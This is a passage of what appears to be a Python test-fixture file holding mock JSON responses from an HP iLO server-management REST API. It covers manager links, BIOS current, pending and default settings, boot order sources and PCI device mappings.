"links": { "ActiveHealthSystem": { "href": "/rest/v1/Managers/1/ActiveHealthSystem" }, "DateTimeService": { "href": "/rest/v1/Managers/1/DateTime" }, "EmbeddedMediaService": { "href": "/rest/v1/Managers/1/EmbeddedMedia" }, "FederationDispatch": { "extref": "/dispatch" }, "FederationGroups": { "href": "/rest/v1/Managers/1/FederationGroups" }, "FederationPeers": { "href": "/rest/v1/Managers/1/FederationPeers" }, "LicenseService": { "href": "/rest/v1/Managers/1/LicenseService" }, "UpdateService": { "href": "/rest/v1/Managers/1/UpdateService" }, "VSPLogLocation": { "extref": "/sol.log.gz" } } } }, "SerialConsole": { "ConnectTypesSupported": [ "SSH", "IPMI", "Oem" ], "Enabled": true, "MaxConcurrentSessions": 13 }, "Status": { "State": "Enabled" }, "Type": "Manager.0.10.0", "UUID": "83590768-e977-575a-927a-b3de8f692d4f", "links": { "EthernetNICs": { "href": "/rest/v1/Managers/1/NICs" }, "Logs": { "href": "/rest/v1/Managers/1/Logs" }, "ManagerForServers": [ { "href": "/rest/v1/Systems/1" } ], "NetworkService": { "href": "/rest/v1/Managers/1/NetworkService" }, "VirtualMedia": { "href": "/rest/v1/Managers/1/VirtualMedia" }, "self": { "href": "/rest/v1/Managers/1" } } } """ GET_BIOS_SETTINGS = """ { "AcpiRootBridgePxm": "Enabled", "AcpiSlit": "Enabled", "AdjSecPrefetch": "Enabled", "AdminEmail": "", "AdminName": "", "AdminOtherInfo": "", "AdminPassword": null, "AdminPhone": "", "AdvancedMemProtection": "AdvancedEcc", "AsrStatus": "Enabled", "AsrTimeoutMinutes": "10", "AssetTagProtection": "Unlocked", "AttributeRegistry": "HpBiosAttributeRegistryI36.1.0.40", "BootMode": "Uefi", "BootOrderPolicy": "RetryIndefinitely", "ChannelInterleaving": "Enabled", "CollabPowerControl": "Enabled", "ConsistentDevNaming": "LomsOnly", "CustomPostMessage": "", "DcuIpPrefetcher": "Enabled", "DcuStreamPrefetcher": "Enabled", "Description": "This is the Platform/BIOS Configuration (RBSU)\ Current Settings", "Dhcpv4": "Enabled", "DynamicPowerCapping": "Auto", "DynamicPowerResponse": "Fast", "EmbNicEnable": "Enabled", "EmbSasEnable": "Enabled", "EmbSata1Enable": "Enabled", "EmbSata2Enable": "Enabled", "EmbVideoConnection": "Auto", "EmbeddedDiagnostics": "Enabled", "EmbeddedDiagsMode": "Auto", "EmbeddedSata": "Ahci", "EmbeddedSerialPort": "Com2Irq3", "EmbeddedUefiShell": "Enabled", "EmbeddedUserPartition": "Disabled", "EmsConsole": "Com1Irq4", "EnergyPerfBias": "BalancedPerf", "EraseUserDefaults": "No", "ExtendedAmbientTemp": "Disabled", "ExtendedMemTest": "Disabled", "F11BootMenu": "Enabled", "FCScanPolicy": "AllTargets", "FanFailPolicy": "Shutdown", "FanInstallReq": "EnableMessaging", "FlexLom1Enable": "Enabled", "HwPrefetcher": "Enabled", "IntelDmiLinkFreq": "Auto", "IntelNicDmaChannels": "Enabled", "IntelPerfMonitoring": "Disabled", "IntelProcVtd": "Enabled", "IntelQpiFreq": "Auto", "IntelQpiLinkEn": "Auto", "IntelQpiPowerManagement": "Enabled", "IntelTxt": "Disabled", "IntelligentProvisioning": "Enabled", "InternalSDCardSlot": "Enabled", "IoNonPostedPrefetching": "Enabled", "Ipv4Address": "0.0.0.0", "Ipv4Gateway": "0.0.0.0", "Ipv4PrimaryDNS": "0.0.0.0", "Ipv4SecondaryDNS": "0.0.0.0", "Ipv4SubnetMask": "0.0.0.0", "MaxMemBusFreqMHz": "Auto", "MaxPcieSpeed": "MaxSupported", "MemFastTraining": "Enabled", "MinProcIdlePkgState": "C6Retention", "MinProcIdlePower": "C6", "MixedPowerSupplyReporting": "Enabled", "Modified": "2015-03-13T21:50:42+00:00", "Name": "BIOS Current Settings", "NetworkBootRetry": "Enabled", "NicBoot1": "NetworkBoot", "NicBoot2": "Disabled", "NicBoot3": "Disabled", "NicBoot4": "Disabled", "NicBoot5": "Disabled", "NicBoot6": "Disabled", "NicBoot7": "Disabled", "NicBoot8": "Disabled", "NmiDebugButton": "Enabled", "NodeInterleaving": "Disabled", "NumaGroupSizeOpt": "Clustered", "NvDimmNMemFunctionality": "Enabled", "OldAdminPassword": null, "OldPowerOnPassword": null, "PciBusPadding": "Enabled", "PostF1Prompt": "Delayed20Sec", "PowerButton": "Enabled", "PowerOnDelay": "None", "PowerOnLogo": "Enabled", "PowerOnPassword": null, "PowerProfile": "BalancedPowerPerf", "PowerRegulator": "DynamicPowerSavings", "PreBootNetwork": "Auto", "ProcAes": "Enabled", "ProcCoreDisable": 0, "ProcNoExecute": "Enabled", "ProcVirtualization": "Enabled", "ProcX2Apic": "Enabled", "ProductId": "727021-B21", "QpiBandwidthOpt": "Balanced", "QpiSnoopConfig": "Standard", "RemovableFlashBootSeq": "ExternalKeysFirst", "RestoreDefaults": "No", "RestoreManufacturingDefaults": "No", "RomSelection": "CurrentRom", "SataSecureErase": "Disabled", "SaveUserDefaults": "No", "SecureBootStatus": "Disabled", "SerialConsoleBaudRate": "115200", "SerialConsoleEmulation": "Vt100Plus", "SerialConsolePort": "Auto", "SerialNumber": "SGH449WNL3", "ServerAssetTag": "", "ServerName": "", "ServerOtherInfo": "", "ServerPrimaryOs": "", "ServiceEmail": "", "ServiceName": "", "ServiceOtherInfo": "", "ServicePhone": "", "SettingsResult": { "ETag": "5E0136E3", "Messages": [ { "MessageArgs": [ "Disable", "TpmOperation" ], "MessageID": "Base.1.0:PropertyValueTypeError" }, { "MessageArgs": [ ], "MessageID": "Base.1.0:Success" } ], "Time": "2015-03-09T17:50:09+00:00" }, "Sriov": "Enabled", "ThermalConfig": "OptimalCooling", "ThermalShutdown": "Enabled", "TimeFormat": "Utc", "TimeZone": "Unspecified", "Tpm2Operation": "NoAction", "Tpm2Visibility": "Visible", "TpmBinding": "Disabled", "TpmState": "NotPresent", "TpmType": "NoTpm", "TpmUefiOpromMeasuring": "Enabled", "TpmVisibility": "Visible", "Type": "HpBios.1.1.0", "UefiPxeBoot": "Auto", "UefiShellBootOrder": "Disabled", "UefiShellStartup": "Disabled", "UefiShellStartupLocation": "Auto", "UefiShellStartupUrl": "", "UrlBootFile": "", "Usb3Mode": "Auto", "UsbBoot": "Enabled", "UsbControl": "UsbEnabled", "UtilityLang": "English", "VideoOptions": "BothVideoEnabled", "VirtualInstallDisk": "Disabled", "VirtualSerialPort": "Com1Irq4", "WakeOnLan": "Disabled", "links": { "BaseConfigs": { "href": "/rest/v1/systems/1/bios/BaseConfigs" }, "Boot": { "href": "/rest/v1/systems/1/bios/Boot" }, "Mappings": { "href": "/rest/v1/systems/1/bios/Mappings" }, "Settings": { "href": "/rest/v1/systems/1/bios/Settings" }, "iScsi": { "href": "/rest/v1/systems/1/bios/iScsi" }, "self": { "href": "/rest/v1/systems/1/bios" } } } """ GET_BIOS_PENDING_SETTINGS = """ { "AcpiRootBridgePxm": "Enabled", "AcpiSlit": "Enabled", "AdjSecPrefetch": "Enabled", "AdminEmail": "", "AdminName": "", "AdminOtherInfo": "", "AdminPassword": null, "AdminPhone": "", "AdvancedMemProtection": "AdvancedEcc", "AsrStatus": "Enabled", "AsrTimeoutMinutes": "10", "AssetTagProtection": "Unlocked", "AutoPowerOn": "RestoreLastState", "BootMode": "Uefi", "BootOrderPolicy": "RetryIndefinitely", "ChannelInterleaving": "Enabled", "CollabPowerControl": "Enabled", "ConsistentDevNaming": "LomsOnly", "CustomPostMessage": "", "DaylightSavingsTime": "Disabled", "DcuIpPrefetcher": "Enabled", "DcuStreamPrefetcher": "Enabled", "Description": "This is the Platform/BIOS Configuration (RBSU) \ Pending Settings", "Dhcpv4": "Enabled", "DynamicPowerCapping": "Auto", "DynamicPowerResponse": "Fast", "EmbNicEnable": "Enabled", "EmbSata1Enable": "Enabled", "EmbSata2Enable": "Enabled", "EmbVideoConnection": "Auto", "EmbeddedDiagnostics": "Enabled", "EmbeddedDiagsMode": "Auto", "EmbeddedSata": "Ahci", "EmbeddedSerialPort": "Com1Irq4", "EmbeddedUefiShell": "Enabled", "EmbeddedUserPartition": "Disabled", "EmsConsole": "Disabled", "EnergyPerfBias": "BalancedPerf", "EraseUserDefaults": "No", "ExtendedAmbientTemp": "Disabled", "ExtendedMemTest": "Disabled", "F11BootMenu": "Enabled", "FCScanPolicy": "CardConfig", "FanFailPolicy": "Shutdown", "FanInstallReq": "EnableMessaging", "HwPrefetcher": "Enabled", "IntelDmiLinkFreq": "Auto", "IntelNicDmaChannels": "Enabled", "IntelPerfMonitoring": "Disabled", "IntelProcVtd": "Enabled", "IntelligentProvisioning": "Enabled", "InternalSDCardSlot": "Enabled", "IoNonPostedPrefetching": "Enabled", "Ipv4Address": "0.0.0.0", "Ipv4Gateway": "0.0.0.0", "Ipv4PrimaryDNS": "0.0.0.0", "Ipv4SecondaryDNS": "0.0.0.0", "Ipv4SubnetMask": "0.0.0.0", "Ipv6Duid": "Auto", "MaxMemBusFreqMHz": "Auto", "MaxPcieSpeed": "MaxSupported", "MemFastTraining": "Enabled", "MinProcIdlePkgState": "C6Retention", "MinProcIdlePower": "C6", "MixedPowerSupplyReporting": "Enabled", "Modified": "2018-06-25T22:36:55+00:00", "Name": "BIOS Pending Settings", "NetworkBootRetry": "Enabled", "NicBoot1": "NetworkBoot", "NicBoot2": "Disabled", "NicBoot3": "Disabled", "NicBoot4": "Disabled", "NmiDebugButton": "Enabled", "NodeInterleaving": "Disabled", "NumaGroupSizeOpt": "Clustered", "OldAdminPassword": null, "OldPowerOnPassword": null, "PciBusPadding": "Enabled", "PciSlot1Enable": "Enabled", "PcieExpressEcrcSupport": "Disabled", "PostF1Prompt": "Delayed20Sec", "PowerButton": "Enabled", "PowerOnDelay": "None", "PowerOnLogo": "Enabled", "PowerOnPassword": null, "PowerProfile": "BalancedPowerPerf", "PowerRegulator": "StaticHighPerf", "PreBootNetwork": "Auto", "ProcAes": "Enabled", "ProcCoreDisable": 0, "ProcNoExecute": "Enabled", "ProcVirtualization": "Enabled", "ProcX2Apic": "Enabled", "ProductId": "719061-B21", "QpiSnoopConfig": "Standard", "RedundantPowerSupply": "BalancedMode", "RemovableFlashBootSeq": "ExternalKeysFirst", "RestoreDefaults": "No", "RestoreManufacturingDefaults": "No", "RomSelection": "CurrentRom", "SataSecureErase": "Disabled", "SaveUserDefaults": "No", "SecureBootStatus": "Disabled", "SerialConsoleBaudRate": "115200", "SerialConsoleEmulation": "Vt100Plus", "SerialConsolePort": "Auto", "SerialNumber": "SGH449WW5B", "ServerAssetTag": "", "ServerName": "", "ServerOtherInfo": "", "ServerPrimaryOs": "", "ServiceEmail": "", "ServiceName": "", "ServiceOtherInfo": "", "ServicePhone": "", "Slot1StorageBoot": "AllTargets", "Sriov": "Enabled", "ThermalConfig": "OptimalCooling", "ThermalShutdown": "Enabled", "TimeFormat": "Utc", "TimeZone": "UtcP530", "TpmState": "NotPresent", "TpmType": "NoTpm", "Type": "HpBios.1.2.0", "UefiOptimizedBoot": "Enabled", "UefiPxeBoot": "Auto", "UefiShellBootOrder": "Disabled", "UefiShellStartup": "Disabled", "UefiShellStartupLocation": "Auto", "UefiShellStartupUrl": "", "UrlBootFile": "", "Usb3Mode": "Auto", "UsbBoot": "Enabled", "UsbControl": "UsbEnabled", "UtilityLang": "English", "VirtualInstallDisk": "Disabled", "VirtualSerialPort": "Com2Irq3", "VlanControl": "Disabled", "VlanId": 0, "VlanPriority": 0, "WakeOnLan": "Enabled", "links": { "self": { "href": "/rest/v1/systems/1/bios/Settings" } } } """ GET_BIOS_BOOT = """ { "AttributeRegistry": "HpBiosAttributeRegistryP89.1.1.00", "BootSources": [ { "BootString": "Slot 1 : Smart Array P840 Controller - 279.37 GiB,\ RAID 0 Logical Drive(Target:0, Lun:0)", "CorrelatableID": "PciRoot(0x0)/Pci(0x2,0x0)/Pci(0x0,0x0)", "StructuredBootString": "HD.Slot.1.1", "UEFIDevicePath": "PciRoot(0x0)/Pci(0x2,0x0)/Pci(0x0,0x0)/Scsi\ (0x0,0x0)" }, { "BootString": "Slot 1 : Smart Array P840 Controller - 279.37 GiB,\ RAID 0 Logical Drive(Target:0, Lun:1)", "CorrelatableID": "PciRoot(0x0)/Pci(0x2,0x0)/Pci(0x0,0x0)", "StructuredBootString": "HD.Slot.1.2", "UEFIDevicePath": "PciRoot(0x0)/Pci(0x2,0x0)/Pci(0x0,0x0)/Scsi\ (0x0,0x1)" }, { "BootString": "Embedded LOM 1 Port 1 : HP Ethernet 1Gb 4-port\ 331i Adapter - NIC (PXE IPv4) ", "CorrelatableID": "PciRoot(0x0)/Pci(0x1C,0x4)/Pci(0x0,0x0)", "StructuredBootString": "NIC.LOM.1.1.IPv4", "UEFIDevicePath": "PciRoot(0x0)/Pci(0x1C,0x4)/Pci(0x0,0x0)/MAC\ (C4346BB7EF30,0x0)/IPv4(0.0.0.0)" }, { "BootString": "Embedded LOM 1 Port 1 : HP Ethernet 1Gb 2-port\ 361i Adapter - NIC (iSCSI IPv4) ", "CorrelatableID": "PciRoot(0x0)/Pci(0x2,0x3)/Pci(0x0,0x0)", "StructuredBootString": "NIC.LOM.1.1.iSCSI", "UEFIDevicePath": "PciRoot(0x0)/Pci(0x2,0x3)/Pci(0x0,0x0)/MAC\ (C4346BB7EF30,0x1)/IPv4(0.0.0.0)/iSCSI(iqn.2016-07.org.de\ :storage,0x1,0x0,None,None,None,TCP)" }, { "BootString": "Embedded LOM 1 Port 1 : HP Ethernet 1Gb 4-port\ 331i Adapter - NIC (PXE IPv6) ", "CorrelatableID": "PciRoot(0x0)/Pci(0x1C,0x4)/Pci(0x0,0x0)", "StructuredBootString": "NIC.LOM.1.1.IPv6", "UEFIDevicePath": "PciRoot(0x0)/Pci(0x1C,0x4)/Pci(0x0,0x0)/MAC\ (C4346BB7EF30,0x0)/IPv6(0000:0000:0000:0000:0000:0000:0000:0000)" }, { "BootString": "Generic USB Boot", "CorrelatableID": "UsbClass(0xFFFF,0xFFFF,0xFF,0xFF,0xFF)", "StructuredBootString": "Generic.USB.1.1", "UEFIDevicePath": "UsbClass(0xFFFF,0xFFFF,0xFF,0xFF,0xFF)" }, { "BootString": "iLO Virtual USB 2 : HP iLO Virtual USB CD/DVD ROM", "CorrelatableID": "PciRoot(0x0)/Pci(0x1D,0x0)/USB(0x0,0x0)/USB\ (0x0,0x0)", "StructuredBootString": "CD.Virtual.2.1", "UEFIDevicePath": "PciRoot(0x0)/Pci(0x1D,0x0)/USB(0x0,0x0)/USB\ (0x0,0x0)" } ], "DefaultBootOrder": [ "Floppy", "Cd", "Usb", "EmbeddedStorage", "PcieSlotStorage", "EmbeddedFlexLOM", "PcieSlotNic", "UefiShell" ], "Description": "This is the Server Boot Order Current Settings", "DesiredBootDevices": [ { "CorrelatableID": "", "Lun": "", "Wwn": "", "iScsiTargetName": "" }, { "CorrelatableID": "", "Lun": "", "Wwn": "", "iScsiTargetName": "" } ], "Modified": "2015-05-26T23:38:24+00:00", "Name": "Boot Order Current Settings", "PersistentBootConfigOrder": [ "HD.Slot.1.1", "HD.Slot.1.2", "NIC.LOM.1.1.iSCSI", "NIC.LOM.1.1.IPv4", "NIC.LOM.1.1.IPv6", "Generic.USB.1.1", "CD.Virtual.2.1" ], "SettingsResult": { "ETag": "0DEA61A1609C51EED0628E3B0BC633DD", "Messages": [ { "MessageArgs": [ "PersistentBootConfigOrder[0" ], "MessageID": "Base.1.0:PropertyValueNotInList" }, { "MessageArgs": [], "MessageID": "Base.1.0:Success" } ], "Time": "2015-05-14T02:38:40+00:00" }, "Type": "HpServerBootSettings.1.2.0", "links": { "BaseConfigs": { "href": "/rest/v1/systems/1/bios/Boot/BaseConfigs" }, "Settings": { "href": "/rest/v1/systems/1/bios/Boot/Settings" }, "self": { "href": "/rest/v1/systems/1/bios/Boot" } } } """ GET_BIOS_MAPPINGS_WITHOUT_NIC = """ { "Registry": "HpBiosAttributeRegistryP89.1.1.00", "BiosPciSettingsMappings": [ { "Associations": [ "EmbSata1Enable" ], "CorrelatableID": "PciRoot(0x0)/Pci(0x1F,0x2)", "Instance": 1, "Subinstances": [] }, { "Associations": [ "EmbNicEnable", { "PreBootNetwork": "EmbNic" } ], "CorrelatableID": "PciRoot(0x0)/Pci(0x1C,0x4)/Pci(0x0,0x0)", "Instance": 3, "Subinstances": [] } ] } """ GET_BIOS_MAPPINGS = """ { "Registry": "HpBiosAttributeRegistryP89.1.1.00", "BiosPciSettingsMappings": [ { "Associations": [ "EmbSata1Enable" ], "CorrelatableID": "PciRoot(0x0)/Pci(0x1F,0x2)", "Instance": 1, "Subinstances": [] }, { "Associations": [ "EmbSata2Enable" ], "CorrelatableID": "PciRoot(0x0)/Pci(0x11,0x4)", "Instance": 2, "Subinstances": [] }, { "Associations": [ "EmbNicEnable", { "PreBootNetwork": "EmbNic" } ], "CorrelatableID": "PciRoot(0x0)/Pci(0x1C,0x4)/Pci(0x0,0x0)", "Instance": 3, "Subinstances": [ { "Associations": [ "NicBoot1" ], "CorrelatableID": "PciRoot(0x0)/Pci(0x1C,0x4)/Pci(0x0,0x0)", "Subinstance": 1 }, { "Associations": [ "NicBoot2" ], "CorrelatableID": "PciRoot(0x0)/Pci(0x1C,0x4)/Pci(0x0,0x1)", "Subinstance": 2 }, { "Associations": [ "NicBoot3" ], "CorrelatableID": "PciRoot(0x0)/Pci(0x1C,0x4)/Pci(0x0,0x2)", "Subinstance": 3 }, { "Associations": [ "NicBoot4" ], "CorrelatableID": "PciRoot(0x0)/Pci(0x1C,0x4)/Pci(0x0,0x3)", "Subinstance": 4 } ] }, { "Associations": [ "EmbSasEnable" ], "CorrelatableID": "PciRoot(0x0)/Pci(0x1,0x0)/Pci(0x0,0x0)", "Instance": 4, "Subinstances": [] }, { "Associations": [ "FlexLom1Enable", { "PreBootNetwork": "FlexLom1" } ], "CorrelatableID": "PciRoot(0x0)/Pci(0x2,0x2)/Pci(0x0,0x0)", "Instance": 5, "Subinstances": [] }, { "Associations": [ "PciSlot1Enable" ], "CorrelatableID": "PciRoot(0x0)/Pci(0x2,0x0)/Pci(0x0,0x0)", "Instance": 6, "Subinstances": [] }, { "Associations": [ "PciSlot3Enable" ], "CorrelatableID": "PciRoot(0x0)/Pci(0x3,0x0)/Pci(0x0,0x0)", "Instance": 7, "Subinstances": [] }, { "Associations": [ "PciSlot2Enable" ], "CorrelatableID": "PciRoot(0x0)/Pci(0x3,0x2)/Pci(0x0,0x0)", "Instance": 8, "Subinstances": [] }, { "Associations": [ "Slot1StorageBoot" ], "CorrelatableID": "PciRoot(0x0)/Pci(0x2,0x0)/Pci(0x0,0x0)/\ Scsi(0x0,0x0)", "Instance": 9, "Subinstances": [] }, { "Associations": [ "Slot1StorageBoot" ], "CorrelatableID": "PciRoot(0x0)/Pci(0x2,0x0)/Pci(0x0,0x0)/\ Scsi(0x0,0x1)", "Instance": 10, "Subinstances": [] }, { "Associations": [ "Slot1StorageBoot" ], "CorrelatableID": "PciRoot(0x0)/Pci(0x2,0x0)/Pci(0x0,0x0)/\ Scsi(0x0,0x0)/HD(1,MBR,0x000677A4,0x800,0x2800)", "Instance": 11, "Subinstances": [] }, { "Associations": [ "Slot1StorageBoot" ], "CorrelatableID": "PciRoot(0x0)/Pci(0x2,0x0)/Pci(0x0,0x0)/\ Scsi(0x0,0x0)/HD(2,MBR,0x000677A4,0x3000,0x800)", "Instance": 12, "Subinstances": [] }, { "Associations": [ "Slot1StorageBoot" ], "CorrelatableID": "PciRoot(0x0)/Pci(0x2,0x0)/Pci(0x0,0x0)/\ Scsi(0x0,0x0)/HD(3,MBR,0x000677A4,0x3800,0x6400000)", "Instance": 13, "Subinstances": [] } ], "Modified": "2015-05-22T06:48:46+00:00", "Name": "Bios Setting Mapping to Devices", "Type": "HpBiosMapping.1.2.0", "links": { "self": { "href": "/rest/v1/systems/1/bios/Mappings" } } } """ GET_BASE_CONFIG = """ { "BaseConfigs": [ { "default": { "AcpiRootBridgePxm": "Enabled", "AcpiSlit": "Enabled", "AdjSecPrefetch": "Enabled", "AdminEmail": "", "AdminName": "", "AdminOtherInfo": "", "AdminPassword": "", "AdminPhone": "", "AdvancedMemProtection": "AdvancedEcc", "AsrStatus": "Enabled", "AsrTimeoutMinutes": "10", "AssetTagProtection": "Unlocked", "AutoPowerOn": "RestoreLastState", "BootMode": "Uefi", "BootOrderPolicy": "RetryIndefinitely", "ChannelInterleaving": "Enabled", "CollabPowerControl": "Enabled", "ConsistentDevNaming": "LomsOnly", "CustomPostMessage": "", "DcuIpPrefetcher": "Enabled", "DcuStreamPrefetcher": "Enabled", "Description": "BIOS System Defaults", "Dhcpv4": "Enabled", "DynamicPowerCapping": "Auto", "DynamicPowerResponse": "Fast", "EmbNicEnable": "Enabled", "EmbSas1Boot": "AllTargets", "EmbSata1Enable": "Enabled", "EmbSata2Enable": "Enabled", "EmbVideoConnection": "Auto", "EmbeddedDiagnostics": "Enabled", "EmbeddedDiagsMode": "Auto", "EmbeddedSata": "Ahci", "EmbeddedSerialPort": "Com1Irq4", "EmbeddedUefiShell": "Enabled", "EmbeddedUserPartition": "Disabled", "EmsConsole": "Disabled", "EnergyPerfBias": "BalancedPerf", "EraseUserDefaults": "No", "ExtendedAmbientTemp": "Disabled", "ExtendedMemTest": "Disabled", "F11BootMenu": "Enabled", "FCScanPolicy": "AllTargets", "FanFailPolicy": "Shutdown", "FanInstallReq": "EnableMessaging", "HwPrefetcher": "Enabled", "IntelDmiLinkFreq": "Auto", "IntelNicDmaChannels": "Enabled", "IntelPerfMonitoring": "Disabled", "IntelProcVtd": "Enabled", "IntelQpiFreq": "Auto", "IntelQpiLinkEn": "Auto", "IntelQpiPowerManagement": "Enabled", "IntelTxt": "Disabled", "IntelligentProvisioning": "Enabled", "InternalSDCardSlot": "Enabled", "IoNonPostedPrefetching": "Enabled", "Ipv4Address": "0.0.0.0", "Ipv4Gateway": "0.0.0.0", "Ipv4PrimaryDNS": "0.0.0.0", "Ipv4SecondaryDNS": "0.0.0.0", "Ipv4SubnetMask": "0.0.0.0", "MaxMemBusFreqMHz": "Auto", "MaxPcieSpeed": "MaxSupported", "MemFastTraining": "Enabled", "MinProcIdlePkgState": "C6Retention", "MinProcIdlePower": "C6", "MixedPowerSupplyReporting": "Enabled", "NetworkBootRetry": "Enabled", "NicBoot1": "NetworkBoot", "NicBoot2": "Disabled", "NicBoot3": "Disabled", "NicBoot4": "Disabled", "NmiDebugButton": "Enabled", "NodeInterleaving": "Disabled", "NumaGroupSizeOpt": "Clustered", "OldAdminPassword": "", "OldPowerOnPassword": "", "PciBusPadding": "Enabled", "PciSlot1Enable": "Enabled", "PostF1Prompt": "Delayed20Sec", "PowerButton": "Enabled", "PowerOnDelay": "None", "PowerOnLogo": "Enabled", "PowerOnPassword": "", "PowerProfile": "BalancedPowerPerf", "PowerRegulator": "DynamicPowerSavings", "PreBootNetwork": "Auto", "ProcAes": "Enabled", "ProcCoreDisable": 0, "ProcNoExecute": "Enabled", "ProcVirtualization": "Enabled", "ProcX2Apic": "Enabled", "QpiBandwidthOpt": "Balanced", "QpiSnoopConfig": "Standard", "RedundantPowerSupply": "BalancedMode", "RemovableFlashBootSeq": "ExternalKeysFirst", "RestoreDefaults": "No", "RestoreManufacturingDefaults": "No", "SataSecureErase": "Disabled", "SaveUserDefaults": "No", "SecureBoot": "Disabled", "SecureBootStatus": "Disabled", "SerialConsoleBaudRate": "115200", "SerialConsoleEmulation": "Vt100Plus", "SerialConsolePort": "Auto", "ServerAssetTag": "", "ServerName": "", "ServerOtherInfo": "", "ServerPrimaryOs": "", "ServiceEmail": "", "ServiceName": "", "ServiceOtherInfo": "", "ServicePhone": "", "Slot1StorageBoot": "AllTargets", "Slot2StorageBoot": "AllTargets", "Slot3StorageBoot": "AllTargets", "Slot4StorageBoot": "AllTargets", "Slot5StorageBoot": "AllTargets", "Slot6StorageBoot": "AllTargets", "Sriov": "Enabled", "TcmOperation": "Disable", "TcmVisibility": "Visible", "ThermalConfig": "OptimalCooling", "ThermalShutdown": "Enabled", "TimeFormat": "Utc", "TimeZone": "UtcM7", "Tpm2Operation": "NoAction", "Tpm2Ppi": "Disabled", "Tpm2Visibility": "Visible", "TpmBinding": "Disabled", "TpmOperation": "Disable", "TpmState": "NotPresent", "TpmType": "NoTpm", "TpmUefiOpromMeasuring": "Enabled", "TpmVisibility": "Visible", "UefiOptimizedBoot": "Enabled", "UefiPxeBoot": "Auto", "UefiShellBootOrder": "Disabled", "UefiShellStartup": "Disabled", "UefiShellStartupLocation": "Auto", "UefiShellStartupUrl": "", "UrlBootFile": "", "Usb3Mode": "Auto", "UsbBoot": "Enabled", "UsbControl": "UsbEnabled", "UtilityLang": "English", "VideoOptions": "BothVideoEnabled", "VirtualInstallDisk": "Disabled", "VirtualSerialPort": "Com2Irq3", "VlanControl": "Disabled", "VlanId": 0, "VlanPriority": 0, "WakeOnLan": "Enabled" } } ], "Capabilities": { "BaseConfig": true, "BaseConfigs": false }, "Modified": "2015-03-26T00:05:15+00:00", "Name": "BIOS Default Settings", "Type": "HpBaseConfigs.0.10.0", "links": { "self": { "href": "/rest/v1/systems/1/bios/BaseConfigs" } } } """ GET_DEFAULT_CONFIG = """ { "AcpiRootBridgePxm": "Enabled", "AcpiSlit": "Enabled", "AdjSecPrefetch": "Enabled", "AdminEmail": "", "AdminName": "", "AdminOtherInfo": "", "AdminPassword": "", "AdminPhone": "", "AdvancedMemProtection": "AdvancedEcc", "AsrStatus": "Enabled", "AsrTimeoutMinutes": "10", "AssetTagProtection": "Unlocked", "AutoPowerOn": "RestoreLastState", "BootMode": "Uefi", "BootOrderPolicy": "RetryIndefinitely", "ChannelInterleaving": "Enabled", "CollabPowerControl": "Enabled", "ConsistentDevNaming": "LomsOnly", "CustomPostMessage": "", "DcuIpPrefetcher": "Enabled", "DcuStreamPrefetcher": "Enabled", "Description": "BIOS System Defaults", "Dhcpv4": "Enabled", "DynamicPowerCapping": "Auto", "DynamicPowerResponse": "Fast", "EmbNicEnable": "Enabled", "EmbSas1Boot": "AllTargets", "EmbSata1Enable": "Enabled", "EmbSata2Enable": "Enabled", "EmbVideoConnection": "Auto", "EmbeddedDiagnostics": "Enabled", "EmbeddedDiagsMode": "Auto", "EmbeddedSata": "Ahci", "EmbeddedSerialPort": "Com1Irq4", "EmbeddedUefiShell": "Enabled", "EmbeddedUserPartition": "Disabled", "EmsConsole": "Disabled", "EnergyPerfBias": "BalancedPerf", "EraseUserDefaults": "No", "ExtendedAmbientTemp": "Disabled", "ExtendedMemTest": "Disabled", "F11BootMenu": "Enabled", "FCScanPolicy": "AllTargets", "FanFailPolicy": "Shutdown", "FanInstallReq": "EnableMessaging", "HwPrefetcher": "Enabled", "IntelDmiLinkFreq": "Auto", "IntelNicDmaChannels": "Enabled", "IntelPerfMonitoring": "Disabled", "IntelProcVtd": "Enabled", "IntelQpiFreq": "Auto", "IntelQpiLinkEn": "Auto", "IntelQpiPowerManagement": "Enabled", "IntelTxt": "Disabled", "IntelligentProvisioning": "Enabled", "InternalSDCardSlot": "Enabled", "IoNonPostedPrefetching": "Enabled", "Ipv4Address": "0.0.0.0", "Ipv4Gateway": "0.0.0.0", "Ipv4PrimaryDNS": "0.0.0.0", "Ipv4SecondaryDNS": "0.0.0.0", "Ipv4SubnetMask": "0.0.0.0", "MaxMemBusFreqMHz": "Auto", "MaxPcieSpeed": "MaxSupported", "MemFastTraining": "Enabled", "MinProcIdlePkgState": "C6Retention", "MinProcIdlePower": "C6", "MixedPowerSupplyReporting": "Enabled", "NetworkBootRetry": "Enabled", "NicBoot1": "NetworkBoot", "NicBoot2": "Disabled", "NicBoot3": "Disabled", "NicBoot4": "Disabled", "NmiDebugButton": "Enabled", "NodeInterleaving": "Disabled", "NumaGroupSizeOpt": "Clustered", "OldAdminPassword": "", "OldPowerOnPassword": "", "PciBusPadding": "Enabled", "PciSlot1Enable": "Enabled", "PostF1Prompt": "Delayed20Sec", "PowerButton": "Enabled", "PowerOnDelay": "None", "PowerOnLogo": "Enabled", "PowerOnPassword": "", "PowerProfile": "BalancedPowerPerf", "PowerRegulator": "DynamicPowerSavings", "PreBootNetwork": "Auto", "ProcAes": "Enabled", "ProcCoreDisable": 0, "ProcNoExecute": "Enabled", "ProcVirtualization": "Enabled", "ProcX2Apic": "Enabled", "QpiBandwidthOpt": "Balanced", "QpiSnoopConfig": "Standard", "RedundantPowerSupply": "BalancedMode", "RemovableFlashBootSeq": "ExternalKeysFirst", "RestoreDefaults": "No", "RestoreManufacturingDefaults": "No", "SataSecureErase": "Disabled", "SaveUserDefaults": "No", "SecureBoot": "Disabled", "SecureBootStatus": "Disabled", "SerialConsoleBaudRate": "115200", "SerialConsoleEmulation": "Vt100Plus", "SerialConsolePort": "Auto", "ServerAssetTag": "", "ServerName": "", "ServerOtherInfo": "", "ServerPrimaryOs": "", "ServiceEmail": "", "ServiceName": "", "ServiceOtherInfo": "", "ServicePhone": "", "Slot1StorageBoot": "AllTargets", "Slot2StorageBoot": "AllTargets", "Slot3StorageBoot": "AllTargets", "Slot4StorageBoot": "AllTargets", "Slot5StorageBoot": "AllTargets", "Slot6StorageBoot": "AllTargets", "Sriov": "Enabled", "TcmOperation": "Disable", "TcmVisibility": "Visible", "ThermalConfig": "OptimalCooling", "ThermalShutdown": "Enabled", "TimeZone": "UtcM7", "Tpm2Operation": "NoAction", "Tpm2Ppi": "Disabled", "Tpm2Visibility": "Visible", "TpmBinding": "Disabled", "TpmOperation": "Disable", "TpmState": "NotPresent", "TpmType": "NoTpm", "TpmUefiOpromMeasuring": "Enabled", "TpmVisibility": "Visible", "UefiOptimizedBoot": "Enabled", "UefiPxeBoot": "Auto", 